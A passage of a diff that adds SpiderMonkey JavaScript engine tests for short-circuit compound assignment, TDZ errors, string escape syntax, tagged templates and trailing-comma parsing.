+ // Object Environment Records, 8.1.1.2.1 HasBinding ( N )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: Symbol.unscopables, receiver: scope},
+
+ // Reference Type, 6.2.4.8 GetValue ( V )
+ // Object Environment Records, 8.1.1.2.6 GetBindingValue ( N, S )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: "a", receiver: scope},
+
+ // Reference Type, 6.2.4.9 PutValue ( V, W )
+ // Object Environment Records, 8.1.1.2.5 SetMutableBinding ( N, V, S )
+ "set", {target: environment, property: "a", value: true, receiver: scope},
+
+ // Ordinary Objects, 9.1.9 [[Set]] ( P, V, Receiver )
+ // Ordinary Objects, 9.1.9.1 OrdinarySet ( O, P, V, Receiver )
+ // Ordinary Objects, 9.1.9.2 OrdinarySetWithOwnDescriptor ( O, P, V, Receiver, ownDesc )
+ "getOwnPropertyDescriptor", {target: environment, property: "a"},
+ "defineProperty", {target: environment, property: "a", descriptor: {value: true}},
+
+ // Execution Contexts, 8.3.2 ResolveBinding ( name [ , env ] )
+ // Lexical Environments, 8.1.2.1 GetIdentifierReference ( lex, name, strict )
+ // Object Environment Records, 8.1.1.2.1 HasBinding ( N )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: Symbol.unscopables, receiver: scope},
+
+ // Reference Type, 6.2.4.8 GetValue ( V )
+ // Object Environment Records, 8.1.1.2.6 GetBindingValue ( N, S )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: "a", receiver: scope},
+ ]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment-tdz.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment-tdz.js
new file mode 100644
index 0000000000..b4fcbe8043
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment-tdz.js
@@ -0,0 +1,56 @@
+// Test TDZ for short-circuit compound assignments.
+
+// TDZ for lexical |let| bindings.
+{
+ assertThrowsInstanceOf(() => { let a = (a &&= 0); }, ReferenceError);
+ assertThrowsInstanceOf(() => { let a = (a ||= 0); }, ReferenceError);
+ assertThrowsInstanceOf(() => { let a = (a ??= 0); }, ReferenceError);
+}
+
+// TDZ for lexical |const| bindings.
+{
+ assertThrowsInstanceOf(() => { const a = (a &&= 0); }, ReferenceError);
+ assertThrowsInstanceOf(() => { const a = (a ||= 0); }, ReferenceError);
+ assertThrowsInstanceOf(() => { const a = (a ??= 0); }, ReferenceError);
+}
+
+// TDZ for parameter expressions.
+{
+ assertThrowsInstanceOf((a = (b &&= 0), b) => {}, ReferenceError);
+ assertThrowsInstanceOf((a = (b ||= 0), b) => {}, ReferenceError);
+ assertThrowsInstanceOf((a = (b ??= 0), b) => {}, ReferenceError);
+}
+
+// TDZ for |class| bindings.
+{
+ assertThrowsInstanceOf(() => { class a extends (a &&= 0) {} }, ReferenceError);
+ assertThrowsInstanceOf(() => { class a extends (a ||= 0) {} }, ReferenceError);
+ assertThrowsInstanceOf(() => { class a extends (a ??= 0) {} }, ReferenceError);
+}
+
+// TDZ for lexical |let| bindings with conditional assignment.
+{
+ assertThrowsInstanceOf(() => {
+ const False = false;
+ False &&= b;
+ b = 2;
+ let b;
+ }, ReferenceError);
+
+ assertThrowsInstanceOf(() => {
+ const True = true;
+ True ||= b;
+ b = 2;
+ let b;
+ }, ReferenceError);
+
+ assertThrowsInstanceOf(() => {
+ const NonNull = {};
+ NonNull ??= b;
+ b = 2;
+ let b;
+ }, ReferenceError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment.js
new file mode 100644
index 0000000000..c08c4ddecf
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment.js
@@ -0,0 +1,265 @@
+const testCasesAnd = [];
+const testCasesOr = [];
+const testCasesCoalesce = [];
+
+
+// Assignment to a global variable (JSOp::SetGName).
+var globalVar;
+
+function testAnd_GlobalVar(init, value) {
+ globalVar = init;
+ return [(globalVar &&= value), globalVar];
+}
+testCasesAnd.push(testAnd_GlobalVar);
+
+function testOr_GlobalVar(init, value) {
+ globalVar = init;
+ return [(globalVar ||= value), globalVar];
+}
+testCasesOr.push(testOr_GlobalVar);
+
+function testCoalesce_GlobalVar(init, value) {
+ globalVar = init;
+ return [(globalVar ??= value), globalVar];
+}
+testCasesCoalesce.push(testCoalesce_GlobalVar);
+
+
+// Assignment to a local variable (JSOp::SetLocal).
+function testAnd_LocalVar(init, value) {
+ let v = init;
+ return [(v &&= value), v];
+}
+testCasesAnd.push(testAnd_LocalVar);
+
+function testOr_LocalVar(init, value) {
+ let v = init;
+ return [(v ||= value), v];
+}
+testCasesOr.push(testOr_LocalVar);
+
+function testCoalesce_LocalVar(init, value) {
+ let v = init;
+ return [(v ??= value), v];
+}
+testCasesCoalesce.push(testCoalesce_LocalVar);
+
+
+// Assignment to a parameter (JSOp::SetArg).
+function testAnd_Arg(init, value) {
+ function f(v) {
+ return [(v &&= value), v];
+ }
+ return f(init);
+}
+testCasesAnd.push(testAnd_Arg);
+
+function testOr_Arg(init, value) {
+ function f(v) {
+ return [(v ||= value), v];
+ }
+ return f(init);
+}
+testCasesOr.push(testOr_Arg);
+
+function testCoalesce_Arg(init, value) {
+ function f(v) {
+ return [(v ??= value), v];
+ }
+ return f(init);
+}
+testCasesCoalesce.push(testCoalesce_Arg);
+
+
+// Assignment to a closed over variable (JSOp::SetAliasedVar).
+function testAnd_ClosedOver(init, value) {
+ let v = init;
+ function f() {
+ return (v &&= value);
+ }
+ return [f(), v];
+}
+testCasesAnd.push(testAnd_ClosedOver);
+
+function testOr_ClosedOver(init, value) {
+ let v = init;
+ function f() {
+ return (v ||= value);
+ }
+ return [f(), v];
+}
+testCasesOr.push(testOr_ClosedOver);
+
+function testCoalesce_ClosedOver(init, value) {
+ let v = init;
+ function f() {
+ return (v ??= value);
+ }
+ return [f(), v];
+}
+testCasesCoalesce.push(testCoalesce_ClosedOver);
+
+
+// Assignment to a dynamic name (JSOp::SetName).
+function testAnd_DynamicName(init, value) {
+ eval("var v = init;");
+ return [(v &&= value), v];
+}
+testCasesAnd.push(testAnd_DynamicName);
+
+function testOr_DynamicName(init, value) {
+ eval("var v = init;");
+ return [(v ||= value), v];
+}
+testCasesOr.push(testOr_DynamicName);
+
+function testCoalesce_DynamicName(init, value) {
+ eval("var v = init;");
+ return [(v ??= value), v];
+}
+testCasesCoalesce.push(testCoalesce_DynamicName);
+
+
+// Assignment to a property.
+function testAnd_Property(init, value) {
+ let obj = {p: init};
+ return [(obj.p &&= value), obj.p];
+}
+testCasesAnd.push(testAnd_Property);
+
+function testOr_Property(init, value) {
+ let obj = {p: init};
+ return [(obj.p ||= value), obj.p];
+}
+testCasesOr.push(testOr_Property);
+
+function testCoalesce_Property(init, value) {
+ let obj = {p: init};
+ return [(obj.p ??= value), obj.p];
+}
+testCasesCoalesce.push(testCoalesce_Property);
+
+
+// Assignment to a super property.
+function testAnd_SuperProperty(init, value) {
+ let proto = {p: init};
+ let obj = {__proto__: proto, m() { return (super.p &&= value); }};
+ return [obj.m(), obj.p];
+}
+testCasesAnd.push(testAnd_SuperProperty);
+
+function testOr_SuperProperty(init, value) {
+ let proto = {p: init};
+ let obj = {__proto__: proto, m() { return (super.p ||= value); }};
+ return [obj.m(), obj.p];
+}
+testCasesOr.push(testOr_SuperProperty);
+
+function testCoalesce_SuperProperty(init, value) {
+ let proto = {p: init};
+ let obj = {__proto__: proto, m() { return (super.p ??= value); }};
+ return [obj.m(), obj.p];
+}
+testCasesCoalesce.push(testCoalesce_SuperProperty);
+
+
+// Assignment to an element.
+function testAnd_Element(init, value) {
+ let p = 123;
+ let obj = {[p]: init};
+ return [(obj[p] &&= value), obj[p]];
+}
+testCasesAnd.push(testAnd_Element);
+
+function testOr_Element(init, value) {
+ let p = 123;
+ let obj = {[p]: init};
+ return [(obj[p] ||= value), obj[p]];
+}
+testCasesOr.push(testOr_Element);
+
+function testCoalesce_Element(init, value) {
+ let p = 123;
+ let obj = {[p]: init};
+ return [(obj[p] ??= value), obj[p]];
+}
+testCasesCoalesce.push(testCoalesce_Element);
+
+
+// Assignment to a super element.
+function testAnd_SuperElement(init, value) {
+ let p = 123;
+ let proto = {[p]: init};
+ let obj = {__proto__: proto, m() { return (super[p] &&= value); }};
+ return [obj.m(), obj[p]];
+}
+testCasesAnd.push(testAnd_SuperElement);
+
+function testOr_SuperElement(init, value) {
+ let p = 123;
+ let proto = {[p]: init};
+ let obj = {__proto__: proto, m() { return (super[p] ||= value); }};
+ return [obj.m(), obj[p]];
+}
+testCasesOr.push(testOr_SuperElement);
+
+function testCoalesce_SuperElement(init, value) {
+ let p = 123;
+ let proto = {[p]: init};
+ let obj = {__proto__: proto, m() { return (super[p] ??= value); }};
+ return [obj.m(), obj[p]];
+}
+testCasesCoalesce.push(testCoalesce_SuperElement);
+
+
+// Run the actual tests.
+
+function runTest(testCases, init, value, expected) {
+ for (let f of testCases) {
+ let [result, newValue] = f(init, value);
+
+ assertEq(result, expected);
+ assertEq(newValue, expected);
+ }
+}
+
+function testAnd(init, value) {
+ const expected = init ? value : init;
+ runTest(testCasesAnd, init, value, expected);
+}
+
+function testOr(init, value) {
+ const expected = !init ? value : init;
+ runTest(testCasesOr, init, value, expected);
+}
+
+function testCoalesce(init, value) {
+ const expected = init === undefined || init === null ? value : init;
+ runTest(testCasesCoalesce, init, value, expected);
+}
+
+
+// Repeat a number of times to ensure JITs can kick in, too.
+for (let i = 0; i < 50; ++i) {
+ for (let thruthy of [true, 123, 123n, "hi", [], Symbol()]) {
+ testAnd(thruthy, "pass");
+ testOr(thruthy, "fail");
+ testCoalesce(thruthy, "fail");
+ }
+
+ for (let falsy of [false, 0, NaN, 0n, ""]) {
+ testAnd(falsy, "fail");
+ testOr(falsy, "pass");
+ testCoalesce(falsy, "fail");
+ }
+
+ for (let nullOrUndefined of [null, undefined]) {
+ testAnd(nullOrUndefined, "fail");
+ testOr(nullOrUndefined, "pass");
+ testCoalesce(nullOrUndefined, "pass");
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/string-literal-escape-sequences.js b/js/src/tests/non262/expressions/string-literal-escape-sequences.js
new file mode 100644
index 0000000000..bc50b2c855
--- /dev/null
+++ b/js/src/tests/non262/expressions/string-literal-escape-sequences.js
@@ -0,0 +1,146 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 663300;
+var summary =
+ "\\u and \\x must be followed by the appropriate number of hex digits or " +
+ "else it is a syntax error";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectSyntaxError(str)
+{
+ try
+ {
+ eval(str);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating " + str);
+ }
+}
+
+expectSyntaxError('"\\x"');
+expectSyntaxError('"\\x0"');
+expectSyntaxError('"\\x1"');
+expectSyntaxError('"\\x2"');
+expectSyntaxError('"\\x3"');
+expectSyntaxError('"\\x4"');
+expectSyntaxError('"\\x5"');
+expectSyntaxError('"\\x6"');
+expectSyntaxError('"\\x7"');
+expectSyntaxError('"\\x8"');
+expectSyntaxError('"\\x9"');
+expectSyntaxError('"\\xA"');
+expectSyntaxError('"\\xB"');
+expectSyntaxError('"\\xC"');
+expectSyntaxError('"\\xD"');
+expectSyntaxError('"\\xE"');
+expectSyntaxError('"\\xF"');
+expectSyntaxError('"\\xG"');
+expectSyntaxError('"\\x0G"');
+expectSyntaxError('"\\x1G"');
+expectSyntaxError('"\\x2G"');
+expectSyntaxError('"\\x3G"');
+expectSyntaxError('"\\x4G"');
+expectSyntaxError('"\\x5G"');
+expectSyntaxError('"\\x6G"');
+expectSyntaxError('"\\x7G"');
+expectSyntaxError('"\\x8G"');
+expectSyntaxError('"\\x9G"');
+expectSyntaxError('"\\xAG"');
+expectSyntaxError('"\\xBG"');
+expectSyntaxError('"\\xCG"');
+expectSyntaxError('"\\xDG"');
+expectSyntaxError('"\\xEG"');
+expectSyntaxError('"\\xFG"');
+expectSyntaxError('"\\xGG"');
+
+expectSyntaxError('"\\u"');
+expectSyntaxError('"\\u0"');
+expectSyntaxError('"\\u1"');
+expectSyntaxError('"\\u2"');
+expectSyntaxError('"\\u3"');
+expectSyntaxError('"\\u4"');
+expectSyntaxError('"\\u5"');
+expectSyntaxError('"\\u6"');
+expectSyntaxError('"\\u7"');
+expectSyntaxError('"\\u8"');
+expectSyntaxError('"\\u9"');
+expectSyntaxError('"\\uA"');
+expectSyntaxError('"\\uB"');
+expectSyntaxError('"\\uC"');
+expectSyntaxError('"\\uD"');
+expectSyntaxError('"\\uE"');
+expectSyntaxError('"\\uF"');
+expectSyntaxError('"\\uG"');
+expectSyntaxError('"\\u00"');
+expectSyntaxError('"\\u11"');
+expectSyntaxError('"\\u22"');
+expectSyntaxError('"\\u33"');
+expectSyntaxError('"\\u44"');
+expectSyntaxError('"\\u55"');
+expectSyntaxError('"\\u66"');
+expectSyntaxError('"\\u77"');
+expectSyntaxError('"\\u88"');
+expectSyntaxError('"\\u99"');
+expectSyntaxError('"\\uAA"');
+expectSyntaxError('"\\uBB"');
+expectSyntaxError('"\\uCC"');
+expectSyntaxError('"\\uDD"');
+expectSyntaxError('"\\uEE"');
+expectSyntaxError('"\\uFF"');
+expectSyntaxError('"\\uGG"');
+expectSyntaxError('"\\u000"');
+expectSyntaxError('"\\u111"');
+expectSyntaxError('"\\u222"');
+expectSyntaxError('"\\u333"');
+expectSyntaxError('"\\u444"');
+expectSyntaxError('"\\u555"');
+expectSyntaxError('"\\u666"');
+expectSyntaxError('"\\u777"');
+expectSyntaxError('"\\u888"');
+expectSyntaxError('"\\u999"');
+expectSyntaxError('"\\uAAA"');
+expectSyntaxError('"\\uBBB"');
+expectSyntaxError('"\\uCCC"');
+expectSyntaxError('"\\uDDD"');
+expectSyntaxError('"\\uEEE"');
+expectSyntaxError('"\\uFFF"');
+expectSyntaxError('"\\uGGG"');
+expectSyntaxError('"\\u000G"');
+expectSyntaxError('"\\u111G"');
+expectSyntaxError('"\\u222G"');
+expectSyntaxError('"\\u333G"');
+expectSyntaxError('"\\u444G"');
+expectSyntaxError('"\\u555G"');
+expectSyntaxError('"\\u666G"');
+expectSyntaxError('"\\u777G"');
+expectSyntaxError('"\\u888G"');
+expectSyntaxError('"\\u999G"');
+expectSyntaxError('"\\uAAAG"');
+expectSyntaxError('"\\uBBBG"');
+expectSyntaxError('"\\uCCCG"');
+expectSyntaxError('"\\uDDDG"');
+expectSyntaxError('"\\uEEEG"');
+expectSyntaxError('"\\uFFFG"');
+expectSyntaxError('"\\uGGGG"');
+
+assertEq(eval('"a\\\rb"'), "ab");
+assertEq(eval('"a\\\nb"'), "ab");
+assertEq(eval('"a\\\r\nb"'), "ab");
+assertEq(eval('"a\\\u2028b"'), "ab");
+assertEq(eval('"a\\\u2029b"'), "ab");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/expressions/tagged-template-constant-folding.js b/js/src/tests/non262/expressions/tagged-template-constant-folding.js
new file mode 100644
index 0000000000..6041cbc161
--- /dev/null
+++ b/js/src/tests/non262/expressions/tagged-template-constant-folding.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1182373;
+var summary =
+ "Don't let constant-folding in the MemberExpression part of a tagged " +
+ "template cause an incorrect |this| be passed to the callee";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var prop = "global";
+
+var obj = { prop: "obj", f: function() { return this.prop; } };
+
+assertEq(obj.f``, "obj");
+assertEq((true ? obj.f : null)``, "global");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/trailing_comma_arguments.js b/js/src/tests/non262/expressions/trailing_comma_arguments.js
new file mode 100644
index 0000000000..612fd46a13
--- /dev/null
+++ b/js/src/tests/non262/expressions/trailing_comma_arguments.js
@@ -0,0 +1,85 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma in Arguments production.
+
+// 12.3 Left-Hand-Side Expressions
+// Arguments[Yield]:
+// ()
+// ( ArgumentList[?Yield] )
+// ( ArgumentList[?Yield] , )
+
+
+function argsLength() {
+ return {value: arguments.length};
+}
+function sum(...rest) {
+ return {value: rest.reduce((a, c) => a + c, 0)};
+}
+
+function call(f, argList) {
+ return eval(`(${f}(${argList})).value`);
+}
+
+function newCall(F, argList) {
+ return eval(`(new ${F}(${argList})).value`);
+}
+
+function superCall(superClass, argList) {
+ return eval(`(new class extends ${superClass} {
+ constructor() {
+ super(${argList});
+ }
+ }).value`);
+}
+
+// Ensure the correct number of arguments is passed.
+for (let type of [call, newCall, superCall]) {
+ let test = type.bind(null, "argsLength");
+
+ assertEq(test("10, "), 1);
+ assertEq(test("10, 20, "), 2);
+ assertEq(test("10, 20, 30, "), 3);
+ assertEq(test("10, 20, 30, 40, "), 4);
+
+ assertEq(test("...[10, 20], "), 2);
+ assertEq(test("...[10, 20], 30, "), 3);
+ assertEq(test("...[10, 20], ...[30], "), 3);
+}
+
+// Ensure the arguments themselves are passed correctly.
+for (let type of [call, newCall, superCall]) {
+ let test = type.bind(null, "sum");
+
+ assertEq(test("10, "), 10);
+ assertEq(test("10, 20, "), 30);
+ assertEq(test("10, 20, 30, "), 60);
+ assertEq(test("10, 20, 30, 40, "), 100);
+
+ assertEq(test("...[10, 20], "), 30);
+ assertEq(test("...[10, 20], 30, "), 60);
+ assertEq(test("...[10, 20], ...[30], "), 60);
+}
+
+// Error cases.
+for (let type of [call, newCall, superCall]) {
+ let test = type.bind(null, "f");
+
+ // Trailing comma in empty arguments list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, , "), SyntaxError);
+ assertThrowsInstanceOf(() => test("...a, , "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/trailing_comma_arrow.js b/js/src/tests/non262/expressions/trailing_comma_arrow.js
new file mode 100644
index 0000000000..f36b476ef4
--- /dev/null
+++ b/js/src/tests/non262/expressions/trailing_comma_arrow.js
@@ -0,0 +1,108 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma in CoverParenthesizedExpressionAndArrowParameterList production.
+
+// 12.2 Primary Expression
+// CoverParenthesizedExpressionAndArrowParameterList[Yield]:
+// ( Expression[In, ?Yield] )
+// ( Expression[In, ?Yield] , )
+// ()
+// ( ...BindingIdentifier[?Yield] )
+// ( Expression[In, ?Yield] , ...BindingIdentifier[?Yield] )
+
+
+function arrow(argList, parameters = "", returnExpr = "") {
+ return eval(`
+ let fun = (${argList}) => {
+ return ${returnExpr};
+ }
+ fun(${parameters});
+ `);
+}
+
+function arrowConcise(argList, parameters = "", returnExpr = "null") {
+ return eval(`
+ let fun = (${argList}) => ${returnExpr};
+ fun(${parameters});
+ `);
+}
+
+const tests = [
+ arrow,
+ arrowConcise,
+];
+
+// Ensure parameters are passed correctly.
+for (let test of tests) {
+ assertEq(test("a, ", "10", "a"), 10);
+ assertEq(test("a, b, ", "10, 20", "a + b"), 30);
+ assertEq(test("a = 30, ", "", "a"), 30);
+ assertEq(test("a = 30, b = 40, ", "", "a + b"), 70);
+
+ assertEq(test("[a], ", "[10]", "a"), 10);
+ assertEq(test("[a], [b], ", "[10], [20]", "a + b"), 30);
+ assertEq(test("[a] = [30], ", "", "a"), 30);
+ assertEq(test("[a] = [30], [b] = [40], ", "", "a + b"), 70);
+
+ assertEq(test("{a}, ", "{a: 10}", "a"), 10);
+ assertEq(test("{a}, {b}, ", "{a: 10}, {b: 20}", "a + b"), 30);
+ assertEq(test("{a} = {a: 30}, ", "", "a"), 30);
+ assertEq(test("{a} = {a: 30}, {b} = {b: 40}, ", "", "a + b"), 70);
+}
+
+// Ensure function length doesn't change.
+for (let test of tests) {
+ assertEq(test("a, ", "", "fun.length"), 1);
+ assertEq(test("a, b, ", "", "fun.length"), 2);
+
+ assertEq(test("[a], ", "[]", "fun.length"), 1);
+ assertEq(test("[a], [b], ", "[], []", "fun.length"), 2);
+
+ assertEq(test("{a}, ", "{}", "fun.length"), 1);
+ assertEq(test("{a}, {b}, ", "{}, {}", "fun.length"), 2);
+}
+
+for (let test of tests) {
+ // Trailing comma in empty parameters list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, , "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a..., , "), SyntaxError);
+
+ // Trailing comma after rest parameter.
+ assertThrowsInstanceOf(() => test("...a, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a, ...b, "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+// Trailing comma in non-parenthesized arrow head.
+assertThrowsInstanceOf(() => eval("a, => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("a, => null"), SyntaxError);
+
+// Parenthesized expression is not an arrow function expression.
+for (let trail of ["", ";", "\n => {}"]) {
+ assertThrowsInstanceOf(() => eval("(a,)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(a, b,)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(...a, )" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(a, ...b, )" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(a, , b)" + trail), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval("(,)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(, a)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(, ...a)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(a, , )" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(...a, , )" + trail), SyntaxError);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/trailing_comma_getter_setter.js b/js/src/tests/non262/expressions/trailing_comma_getter_setter.js
new file mode 100644
index 0000000000..258dd8df61
--- /dev/null
+++ b/js/src/tests/non262/expressions/trailing_comma_getter_setter.js
@@ -0,0 +1,88 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma is not allowed in getter and setter methods
+
+// 14.3 Method Definitions
+// MethodDefinition[Yield]:
+// get PropertyName[?Yield] () { FunctionBody[~Yield] }
+// set PropertyName[?Yield] ( PropertySetParameterList ) { FunctionBody[~Yield] }
+// PropertySetParameterList:
+// FormalParameter[~Yield]
+
+function objectGetter(argList) {
+ return eval(`({
+ get m(${argList}) {}
+ })`);
+}
+
+function objectSetter(argList) {
+ return eval(`({
+ set m(${argList}) {}
+ })`);
+}
+
+function classGetter(argList) {
+ return eval(`(class {
+ get m(${argList}) {}
+ })`);
+}
+
+function classStaticGetter(argList) {
+ return eval(`(class {
+ static get m(${argList}) {}
+ })`);
+}
+
+function classSetter(argList) {
+ return eval(`(class {
+ set m(${argList}) {}
+ })`);
+}
+
+function classStaticSetter(argList) {
+ return eval(`(class {
+ static set m(${argList}) {}
+ })`);
+}
+
+const tests = [
+ objectGetter,
+ objectSetter,
+ classGetter,
+ classStaticGetter,
+ classSetter,
+ classStaticSetter,
+];
+
+for (let test of tests) {
+ // Trailing comma.
+ assertThrowsInstanceOf(() => test("a, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("[], "), SyntaxError);
+ assertThrowsInstanceOf(() => test("{}, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a = 0, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("[] = [], "), SyntaxError);
+ assertThrowsInstanceOf(() => test("{} = {}, "), SyntaxError);
+
+ // Trailing comma in empty parameters list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, ,"), SyntaxError);
+ assertThrowsInstanceOf(() => test("a..., ,"), SyntaxError);
+
+ // Trailing comma after rest parameter.
+ assertThrowsInstanceOf(() => test("...a ,"), SyntaxError);
+ assertThrowsInstanceOf(() => test("a, ...b, "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/trailing_comma_parameters.js b/js/src/tests/non262/expressions/trailing_comma_parameters.js
new file mode 100644
index 0000000000..d0e756b862
--- /dev/null
+++ b/js/src/tests/non262/expressions/trailing_comma_parameters.js
@@ -0,0 +1,165 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma in functions and methods.
+
+// 14.1 Function Definitions
+// FunctionExpression:
+// function BindingIdentifier[~Yield]opt ( FormalParameters[~Yield] ) { FunctionBody[~Yield] }
+
+// 14.3 Method Definitions
+// MethodDefinition[Yield]:
+// PropertyName[?Yield] ( UniqueFormalParameters[~Yield] ) { FunctionBody[~Yield] }
+// GeneratorMethod[?Yield]
+// PropertySetParameterList:
+// FormalParameter[~Yield]
+
+// 14.4 Generator Function Definitions
+// GeneratorExpression:
+// function * BindingIdentifier[+Yield]opt ( FormalParameters[+Yield] ) { GeneratorBody }
+// GeneratorMethod[Yield]:
+// * PropertyName[?Yield] ( UniqueFormalParameters[+Yield] ) { GeneratorBody }
+
+
+function functionExpression(argList, parameters = "", returnExpr = "") {
+ return eval(`(function f(${argList}) {
+ var fun = f;
+ return ${returnExpr};
+ })(${parameters})`);
+}
+
+function generatorExpression(argList, parameters = "", returnExpr = "") {
+ return eval(`(function* f(${argList}) {
+ var fun = f;
+ return ${returnExpr};
+ })(${parameters}).next().value`);
+}
+
+function objectMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`({
+ m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters})`);
+}
+
+function objectGeneratorMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`({
+ * m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters}).next().value`);
+}
+
+function classMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`(new class {
+ m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters})`);
+}
+
+function classStaticMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`(class {
+ static m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters})`);
+}
+
+function classGeneratorMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`(new class {
+ * m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters}).next().value`);
+}
+
+function classStaticGeneratorMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`(class {
+ static * m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters}).next().value`);
+}
+
+function classConstructorMethod(argList, parameters = "", returnExpr = "null") {
+ return eval(`new (class {
+ constructor(${argList}) {
+ var fun = this.constructor;
+ return { value: ${returnExpr} };
+ }
+ })(${parameters}).value`);
+}
+
+const tests = [
+ functionExpression,
+ generatorExpression,
+ objectMethod,
+ objectGeneratorMethod,
+ classMethod,
+ classStaticMethod,
+ classGeneratorMethod,
+ classStaticGeneratorMethod,
+ classConstructorMethod,
+];
+
+// Ensure parameters are passed correctly.
+for (let test of tests) {
+ assertEq(test("a, ", "10", "a"), 10);
+ assertEq(test("a, b, ", "10, 20", "a + b"), 30);
+ assertEq(test("a = 30, ", "", "a"), 30);
+ assertEq(test("a = 30, b = 40, ", "", "a + b"), 70);
+
+ assertEq(test("[a], ", "[10]", "a"), 10);
+ assertEq(test("[a], [b], ", "[10], [20]", "a + b"), 30);
+ assertEq(test("[a] = [30], ", "", "a"), 30);
+ assertEq(test("[a] = [30], [b] = [40], ", "", "a + b"), 70);
+
+ assertEq(test("{a}, ", "{a: 10}", "a"), 10);
+ assertEq(test("{a}, {b}, ", "{a: 10}, {b: 20}", "a + b"), 30);
+ assertEq(test("{a} = {a: 30}, ", "", "a"), 30);
